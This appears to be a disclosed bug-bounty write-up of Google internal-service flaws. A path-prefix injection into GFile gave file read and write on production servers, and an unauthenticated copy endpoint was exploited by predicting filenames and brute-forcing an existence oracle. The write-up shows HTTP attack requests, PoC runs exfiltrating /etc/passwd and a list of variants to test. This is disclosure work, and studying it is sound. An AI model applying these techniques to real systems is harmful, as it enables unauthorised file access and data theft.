curl 'https://storage.googleapis.com/my-public-writeable-vrp-bucket/poc/exfil.xml'
# HTTP 200  (2,270,337 bytes)
# <?xml version="1.0" encoding="UTF-8"?>
# <DolbyLabsMDF xmlns="http://www.dolby.com/schemas/dvmd/4_0_2"> ...

curl is a command-line tool that fetches a web address. The first line asks for the copied file from the researcher's bucket. The comment lines show what came back: HTTP status 200 (success), a size of 2,270,337 bytes, and the start of an XML document. XML is a text format for structured data, with tags in angle brackets. The content begins with a Dolby XML document.

A cleaner approach followed: by only allowing allUsers to read and upload to the bucket, while disallowing deletion, no race was needed. The backend could not delete the file afterwards. allUsers is the special name for "everyone on the internet" in cloud storage permissions. By removing the delete permission from everyone, the researcher made the file impossible to remove, so it stayed put.

Bigstore in name only

Internally at Google there is a file library called GoogleFile (GFile). It provides a common interface over different storage systems, with a FileFactory selecting the actual backend based on the path prefix. Think of GFile as a receptionist who reads the first word of an address and sends you to the right building: /bigstore/ goes to cloud storage, /cns/ goes to Colossus, and so on. The same copy function can therefore operate on numerous internal systems and protocols such as Bigstore, Blobstore, CNS (Colossus), Chubby, or even the borgtask's local filesystem, as long as that FileFactory is linked into the binary.

A few of those names need explaining. CNS (Colossus) is Google's foundational file system, the storage layer most Google services sit on. Chubby is Google's distributed lock and naming service, used by internal systems to coordinate and to store small pieces of metadata, including where services can be found. A borgtask is one running instance of a program on Google's cluster manager, Borg; it is roughly what "a process on a server" means elsewhere. The local filesystem is the disk of the machine the program is running on.

In the task completion response, the bigstoreIdentifier used the /bigstore/ path prefix. The field name could be a misnomer: if copyFileTask passed the user-supplied string directly into GFile, changing the prefix could decide what the backend actually accessed. A few prefixes were tested, and it worked:

FileFactory Response
/bigstore/ Empty bucket name
/blobstore/ Invalid path
/cns/ unable to parse path: invalid cell name: ; '/cns/'; Open on /cns/
/ls/ LockService OpenExisting error: /ls: access denied
/cfs/ unable to parse path: invalid file factory prefix: /cfs; Open on /cfs/
/cfs2/ unable to parse path: invalid file factory prefix: /cfs2; Open on /cfs2/
/namespace/ /namespace/: Invalid name space path/pattern: /namespace/; NamespaceFileFactory::Open
/ffs/ Unexpected faultyfs prefix: /ffs
/readahead/ Malformatted /readahead path: /readahead/
/memfile/ File not found: /memfile/
/google_src/head/ FileFactory '//file/google_src' not found while resolving path '/google_src/head'. The application has not been linked against the '//file/google_src' library or InitGoogle() has not been called yet.

Each row is a different prefix and the error the server returned. The errors are the proof: the server did not say "unknown prefix" for all of them. It said "invalid cell name" for /cns/, "access denied" for /ls/, "File not found" for /memfile/, and so on. That means the prefix really was being read as an instruction about which storage system to use. A FileFactory has to be linked into the binary to be usable. In this case, /google_src/head/ was not, which is why that row says the application has not been linked against the library.

Reading and writing the borgtask

GFile can also operate on local files. Supplying /etc/passwd.borg as the source path and copying it to the bucket showed that the copy ran directly on borg:

Text
<redacted>:x:2501:5000::/user/<redacted>:/bin/bash
<redacted>:x:2503:5000::/user/<redacted>:/bin/bash
<redacted>:x:2527:5000::/user/<redacted>:/bin/bash
...

/etc/passwd is the classic Unix file that lists user accounts. Each line has fields separated by colons: the username, a placeholder x where the password hash used to be, a numeric user ID, a group ID, a comment field, a home directory and a login shell. Here the home directories are under /user/ and the shell is /bin/bash. The .borg suffix marks a Google-specific variant of the file. This file was massive, with millions of lines, including the LDAP of every Googler. LDAP is a directory service, a kind of company-wide address book for accounts. Reaching the borgtask means there is no sandbox or isolation layer such as GVisor: the filesystem of the actual server running has been reached. A sandbox is a wall around a program so that if it misbehaves it cannot touch the rest of the machine; GVisor is Google's sandbox technology. Here there was no wall.

Arbitrary files could also be written to the borgtask by swapping source and destination. This was tested by writing /tmp/poc.txt with brutecat was here. /tmp is a scratch directory on Unix systems. Writing a file proves the bug is not just a read: an attacker could plant files on the server.

Resolving Google through Chubby

Chubby is Google's distributed lock and naming service. Internal systems use it to coordinate and store small bits of metadata, including where services can be found. GFile makes Chubby queryable through /ls/<cell>/... paths. A cell is a separate Chubby instance that usually serves one data centre. Since Chubby was enabled on GFile, a limited set of queries was tested to see how Chubby is used internally to resolve Borg Name Service (BNS) addresses. BNS is Google's internal naming system that turns a service name into the machines that run it.

Internally, Google services are reachable through GSLB addresses (for example, [redacted].googleapis.com is served at blade:corp-hr-api), which are leaked externally in some places. GSLB is Google's global load balancer naming scheme. Using a leaked copy of java/com/google/loadbalancer/rpc/GslbChannelPicker3.java (from decompiling some binaries Google published), the fallback Chubby query for blade:apphosting-stubbyproxy can be computed as /ls/ce/loadbalancer/fallback/924/blade_apphosting-stubbyproxy, which returns:

Text
/bns/ce/borg/ce/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp
/bns/lcscld/borg/lcscld/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp

In plain words: the researcher took a piece of Google code that was publicly available (by decompiling published binaries, which means turning compiled programs back into readable source) and used it to work out the exact Chubby query for a service name. The query returned two BNS paths, one in cell ce and one in cell lcscld, both pointing at the same inbound proxy service. That shows Chubby could be used to look up where internal services live.

Querying a BNS address such as /ls/qk/borg/qk/bns/apps-drive-genoa-server/prod-stripe10.genoa-server/0 (0 being task ID 0 and qk an example cell) returned the IPv6 addresses for that borgtask. IPv6 is the newer version of the internet's addressing scheme, using long hexadecimal addresses. So the researcher could turn a service name into the actual network address of a machine.

GetTaskStatusLog showed that the copy executed as [redacted], allowing access to any linked GFile backend, including Bigstore, Blobstore, CNS (Colossus, the foundational storage system used by most Google services) and Chubby. That is close to full read on Google's scalable storage system as this production identity. A service account is a non-human account that a program uses to act; the @system.gserviceaccount.com suffix marks a Google service account. The copy ran with the rights of that account, which is why it could reach so many storage systems. Google was informed about the escalation and the report was quickly updated to P0. P0 is the highest priority level in a bug tracker: fix this immediately.

A copy primitive with no output

Three days later, another issue turned up. staging-mamba-backend.sandbox.googleapis.com exposed an unauthenticated /v1/process endpoint that accepted a user-supplied refFilename and copied it into a temporary CNS directory used by the Mamba UI's frame-metrics pipeline. Unauthenticated means no login or key was needed at all. A pipeline is a chain of processing steps; here it collects metrics about video frames for a user interface called Mamba.

Supplying a file the backend could not read returned an extremely verbose error:

Request

HTTP
POST /v1/process HTTP/2
Host: staging-mamba-backend.sandbox.googleapis.com
Content-Type: application/json

{"refFilename":"/etc/shadow"}

Line by line: this sends a POST to /v1/process on the staging Mamba server. Content-Type: application/json says the body is JSON. The body has one field, refFilename, set to /etc/shadow. /etc/shadow is the Unix file that holds password hashes; ordinary users cannot read it, which is exactly why it makes a good test: the copy will fail, and the failure message will be informative.

Response

JSON
{
  "error": "Copying /etc/shadow to /cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb16870b.borgtask.google.com-151cc3-1243617-2fcfc29258853-656ebf3e9ce1d failed with error: open failed for /etc/shadow: Permission denied"
}

The error says the copy failed because /etc/shadow could not be opened (permission denied). But it also reveals the full destination path it tried to write to. That is the leak: the server told the researcher where it would have put the file.

This leaked the full destination path. Output was written under:

Text
/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/

Reading this path: /cns/ means Colossus storage, iu-d is a cell, home/video-pipeline-metrics/mamba_ui/ is the service's home area, frame_metrics_tmp_dir is a temporary directory, and ttl=7d means the files there live for seven days (TTL stands for time to live).

The destination looked suspicious: a shared frame_metrics_tmp_dir with a seven-day TTL, no user or tenant identifier anywhere in the path, and a filename that was not a UUID. A UUID is a long random-looking identifier, the usual way to make a filename impossible to guess. The directory was probably globally readable to unprivileged CNS callers so other parts of the pipeline could consume the temporary files. This assumption was later confirmed.

The filename looked deterministic rather than random. Every section appeared to be runtime metadata from the borgtask that handled the request:

Text
tempfile-<borg-host>-<tid>-<pid>-<cycle>-<wall>

In plain words: the name starts with tempfile, then the hostname of the borgtask, then the thread ID (tid, which thread inside the process handled it), the process ID (pid, which process it was), a cycle counter (cycle, a very fast internal clock) and a wall-clock timestamp (wall, the real time). None of these are secret; they are facts about the machine. If you can predict them, you can predict the filename.

If the source file existed and the copy succeeded, the endpoint returned nothing useful:

Text
HTTP/2 200 OK
Content-Type: application/json

{}

200 OK means success, and the body is an empty JSON object, {}. So /etc/passwd could be copied into CNS, but the response hid the generated filename. Without that filename, the result could not be read back. The verbose errors proved the endpoint accepted borg-local paths and wrote their contents into CNS as [redacted]. If the name of a successful copy could be recovered, the Firefly primitive could read it. The only thing protecting the file was its filename.

Pinning the borgtask with /batch

The beginning of the generated names looked very similar across requests: the borgtask hostname and process ID repeated, while the thread ID, cycle counter and wall-clock timestamp changed. Separate HTTP requests could be routed to different borgtasks, which made comparing names unreliable. The API also supported Google's standard /batch endpoint, and every subrequest inside one multipart batch was handled by the same borgtask. A batch request packs several requests into one envelope; a multipart body is a body with several parts, each with its own headers. The key point: one envelope, one machine.

That made it possible to surround one successful, hidden copy with a large number of deliberate failures:

Text
before-0   -> /etc/shadow
before-1   -> /etc/shadow
before-2   -> /etc/shadow
...
target     -> /etc/passwd
...
after-0    -> /etc/shadow
after-1    -> /etc/shadow
after-2    -> /etc/shadow

Each line is one subrequest: copy this file. The before and after ones all try /etc/shadow, which fails and leaks its destination name. The target one tries /etc/passwd, which succeeds and returns {}. Any reliably failing source path worked. /etc/shadow was reused because trying to copy it failed and leaked the generated destination filename. The target /etc/passwd copy succeeded and returned {}. Since every part ran on the same borgtask, the failures on either side leaked sibling names from the exact process that created the hidden file.

The worker IDs in those names usually formed a nearly consecutive run:

Text
... 11617f, 116180, 116181, [missing], 116183, 116184 ...

These are hexadecimal numbers (base 16, so after 9 comes a), counting up. The missing one is the gap: the request that succeeded and hid its name. The missing worker was a candidate for the successful target request. There could be several gaps due to other work in the process, so the PoC repeated the batch and retained the attempt with the fewest possible hidden workers and the narrowest timestamp range. A PoC (proof of concept) is a small program that demonstrates a bug. This gave the stable borg host and PID, plus the likely thread ID and two chronological neighbours. The remaining problem was predicting the exact cycle counter and wall-clock timestamp.

Predicting the hidden filename

The samples and the path oracle were handed to GPT-5.6-sol on xhigh, which worked out how to turn the neighbouring failures into a bounded search for the exact filename. An oracle here means a way to ask the server a yes/no question: does this path exist? A bounded search means a search with a known, limited number of possibilities, rather than trying everything forever.

The leaked names were chronological, so the hidden request's wall value could be interpolated from its position between the neighbouring worker IDs. Interpolate means estimate a value between two known values, like guessing that a train that left at 10:00 and arrived at 10:30 passed a station somewhere around 10:15. The cycle counter moved at roughly 1,300 cycles per microsecond, letting the PoC predict it from the wall clock. Adding a small amount of jitter around both estimates produced a few million possible paths instead of an unbounded search. Jitter is a small random variation added around an estimate to cover uncertainty.

There was also a convenient oracle for testing them. Supplying an existing CNS candidate path back to /v1/process returned {}, while a nonexistent path returned an error. The PoC packed candidates into parallel /batch requests and streamed through them until one returned {}.

The final process:

  1. Put the real copy between dozens of failing copies in one /batch request.
  2. Parse the failures to recover the stable borg host, PID and neighbouring (tid, cycle, wall) samples.
  3. Find gaps in the nearly consecutive worker IDs and retain the batch with the narrowest search window.
  4. Interpolate wall, predict cycle, and generate exact candidate CNS paths with a small jitter range.
  5. Replay candidates through /process until the existing-file oracle returned {}.

Running it against /etc/passwd required no authentication:

Text
$ python3 poc_mamba.py /etc/passwd
[*] Target: staging-mamba-backend.sandbox.googleapis.com/v1/process
[*] Copy input: /etc/passwd
[*] Authentication: none
[-] Batch attempt 1: dense worker run has 9 bounded gaps (limit 8); retrying
[+] Batch attempt 3: isolated 1 possible hidden worker(s): ee4bc; combined wall span 7,805 us
[+] Batch attempt 11: isolated 1 possible hidden worker(s): 116182; combined wall span 4,979 us
[*] Using best retained batch model with 4,979 us combined span
[*] Borg task: 6d1b3bec58af19f2-8e5eb168749.borgtask.google.com
[*] Process ID: 1066201
[*] Possible worker 116182: neighbors 116181/116183, wall 656e3cabf8fad..656e3cabfa320
[*] Streaming up to 8,988,980 candidates
[*] Tested 100,000 candidate paths
[*] Tested 200,000 candidate paths
[*] Tested 300,000 candidate paths
[*] Tested 400,000 candidate paths
[*] Tested 500,000 candidate paths
[*] Tested 600,000 candidate paths
[*] Tested 700,000 candidate paths
[+] Oracle hit after 771,000 candidates
[+] Verified CNS tempfile path:
/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f

Line by line: the script is told to copy /etc/passwd and notes that no authentication is needed. The first batch attempt is rejected because it has nine gaps and the limit is eight; it retries. Attempt 3 finds one possible hidden worker, ee4bc, with a time span of 7,805 microseconds. Attempt 11 finds a better one, 116182, with a span of 4,979 microseconds. The script keeps the best batch. It reports the borg host, the process ID, the candidate worker with its two neighbours and the wall-clock range. It then streams up to 8,988,980 candidate paths, printing progress every 100,000. At 771,000 candidates the oracle answers yes, and the script prints the exact CNS path. The supposedly hidden output path was now known exactly.

Reading it back through Firefly

The Mamba endpoint copied the file into CNS but exposed no HTTP endpoint for downloading it. The generic GFile reader found three days earlier filled that gap. Passing the recovered path into the Firefly PoC copied the CNS object to the bucket as play-movies-encoding:

Bash
$ python3 firefly_read_poc.py \
  "/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f"

[+] EXFILTRATED 3870 bytes
    head: b'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...'

Line by line: the script is given the recovered CNS path as its argument. The backslash at the end of the first line means the command continues on the next line. The output says 3,870 bytes were exfiltrated (copied out), and shows the first bytes: the start of a passwd file, with root, bin and daemon accounts. The \n sequences are newlines. Together, these assets would give a remote attacker arbitrary local file read as video-pipeline-metrics, plus access to any other GFile backend permitted to that production identity.

Root cause

The developers likely just needed to move a file from Bigstore or into CNS and used GFile because it was convenient. Firefly even called its protobuf field bigstoreIdentifier. GFile treats the beginning of a path as an instruction selecting the FileFactory implementation. Unless the caller explicitly allowlists a prefix, a user-supplied Bigstore filename can become a CNS, Blobstore, Chubby, X20 and so on, or a local path instead. An allowlist is a list of things that are permitted, with everything else refused. The researcher expects this bug class to exist elsewhere throughout Google's APIs.

On Firefly, the missing authorisation checks on the admin RPCs and the unverified NotifyTaskExecutionResult callback compounded the problem: the callback let a client mark a task complete and have the scheduler dispatch a dependent task to the production backend. On Mamba, the verbose error leaked the destination path, the filename was deterministic runtime metadata, and the shared CNS directory was readable to unprivileged callers, so the only protection was the secrecy of a predictable name.

Impact

On Firefly, the missing checks allowed dumping any studio record, including internal contact info, Content Manager emails and internal notes with plaintext passwords, listing millions of avails and ingestion jobs, dumping other partners' transaction and order records, and modifying or deleting their avails, prepared avails and transactions. The GFile copy primitive executed as [redacted], giving access to any linked GFile backend, including Bigstore, Blobstore, CNS and Chubby, close to full read on Google's scalable storage system as that production identity. It also reached the borgtask filesystem with no sandbox or isolation layer such as GVisor, allowing arbitrary local file read (including /etc/passwd.borg) and arbitrary file write.

On Mamba, the unauthenticated endpoint allowed arbitrary local file read as video-pipeline-metrics, plus access to any other GFile backend permitted to that production identity. The panel noted that the Mamba issue is very difficult to exploit and that exfiltration requires additional capabilities.

Fix

Google has since resolved the issues. The write-up does not describe the specific changes made. The general fix implied by the root cause is to allowlist the accepted path prefix before passing a user-supplied path into GFile.

Variants to test

  1. Enumerate RPCs reachable through /$rpc/<service>/<method> that have no discovery document, and use req2proto to recover their parameters. A positive result is an RPC that returns data or performs an action without an authorisation check.
  2. Look for copy or move tasks that accept a source and destination path. A positive result is a response that reflects a backend-specific error for a prefix you supplied, as the FileFactory table above shows.
  3. Try swapping the path prefix on a field named after one backend (such as bigstoreIdentifier). A positive result is a different backend's error message or a successful copy from a path outside the named backend.
  4. Test callbacks that report task completion, such as NotifyTaskExecutionResult, by calling them directly for a server-assigned task ID. A positive result is a dependent task being dispatched.
  5. Probe unauthenticated endpoints that copy a user-supplied filename and return verbose errors. A positive result is a leaked destination path containing runtime metadata such as host, thread ID, process ID, cycle counter and wall clock.
  6. Use the /batch endpoint to pin subrequests to one backend process and surround a successful copy with deliberate failures. A positive result is a nearly consecutive run of worker IDs with a gap where the hidden request ran.
  7. Use an existing-file oracle (a request that returns {} for an existing path and an error otherwise) to brute-force predicted filenames. A positive result is a {} response for a candidate path you generated.

Timeline

  • 2026-07-14: initial Firefly report sent to Google, accepted 4 hours later
  • 2026-07-18: Google's security team informed about the Firefly GFile escalation, report updated to P0
  • 2026-07-18: initial Mamba report sent to Google, accepted 9 minutes later
  • 2026-07-24: panel awards $60,000 for Firefly, category "unrestricted file system or database access"
  • 2026-07-24: panel awards $37,604.40 for Mamba, same category, with a downgrade because the issue is very difficult to exploit and exfiltration requires additional capabilities

Glossary

  • Allowlist: a list of things that are permitted, with everything else refused.
  • API: a defined way for one program to ask another program to do something.
  • API key: a secret string that identifies an application to a service.
  • Authentication: checking who someone is.
  • Authorisation: checking whether someone is allowed to do what they are asking.
  • Avail: a licensing window saying where and when a film or TV show may be shown.
  • Batch request: one request that carries several subrequests in a single envelope.
  • Bigstore: Google's internal name for Google Cloud Storage (GCS).
  • Blobstore: an internal Google storage system, separate from Bigstore.
  • BNS (Borg Name Service): Google's internal naming system that turns a service name into the machines running it.
  • Borg: Google's cluster manager, which runs programs across many machines.
  • Borgtask: one running instance of a program under Borg, roughly a process on a server.
  • Bounded search: a search with a known, limited number of possibilities.
  • Bucket: a top-level container for files in cloud storage.
  • Callback: a message one part of a system sends to another to report a result or completion.
  • Cell: a separate instance of a service, usually serving one data centre.
  • Chubby: Google's distributed lock and naming service, used for coordination and small metadata.
  • CNS (Colossus): Google's foundational distributed file system.
  • Content Manager: YouTube's tool for partners to manage rights over videos.
  • Cookie: a small piece of text a browser stores and sends back so a server can recognise it.
  • Curl: a command-line tool for fetching web addresses.
  • Cycle counter: a very fast internal clock counting processor cycles.
  • Dependency: a rule that one task may only run after another has finished.
  • Discovery document: a machine-readable list of an API's methods and parameters.
  • Endpoint: one specific address or method on an API.
  • Exfiltration: copying data out of a system without permission.
  • FileFactory: the part of GFile that picks a storage backend from a path prefix.
  • GCS (Google Cloud Storage): Google's cloud storage service.
  • GFile (GoogleFile): Google's internal library giving one interface over many storage systems.
  • Google VRP: Google's Vulnerability Reward Program, which pays for security reports.
  • GSLB: Google's global load balancer naming scheme for internal services.
  • GVisor: Google's sandbox technology for isolating programs.
  • Header: a named field in a request or response carrying metadata such as content type or credentials.
  • Hexadecimal: base-16 numbering, using 0 to 9 and a to f.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • HTTP mapping: a web address assigned to an RPC so it can be called like a normal web page.
  • Ingestion job: a background job that brings data into a system.
  • Interpolate: estimate a value between two known values.
  • IPv6: the newer internet addressing scheme, using long hexadecimal addresses.
  • Jitter: a small random variation added around an estimate.
  • Job: a piece of background work made of one or more tasks.
  • JSON: a plain-text format for structured data using braces, quotes and colons.
  • LDAP: a directory service, a company-wide address book for accounts.
  • Local filesystem: the disk of the machine a program is running on.
  • Multipart: a request body split into several parts, each with its own headers.
  • Oracle: a way to ask a system a yes/no question, such as whether a path exists.
  • Origin header: a request header saying which website the request came from.
  • P0: the highest priority level in a bug tracker, meaning fix immediately.
  • Pipeline: a chain of processing steps that data passes through.
  • PoC (proof of concept): a small program that demonstrates a bug.
  • Production: the real, live systems serving actual users.
  • Protobuf: Google's compact binary format for structured data, using numbered fields.
  • RPC (Remote Procedure Call): a function call that runs on another machine over the network.
  • Request: a message asking a server to do something.
  • Response: the message a server sends back.
  • Sandbox: a wall around a program so it cannot touch the rest of the machine.
  • Scheduler: the part of a system that decides when and where tasks run.
  • Service account: a non-human account a program uses to act.
  • Task: one unit of work inside a job.
  • Thread ID (tid): the identifier of the thread inside a process that handled a request.
  • TTL (time to live): how long a file or record is kept before it is removed.
  • Unauthenticated: reachable without any login or key.
  • UUID: a long random-looking identifier, hard to guess.
  • Wall clock: the real-world time, as opposed to an internal counter.
  • XML: a text format for structured data using tags in angle brackets.

More by brutecat

View all

3 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.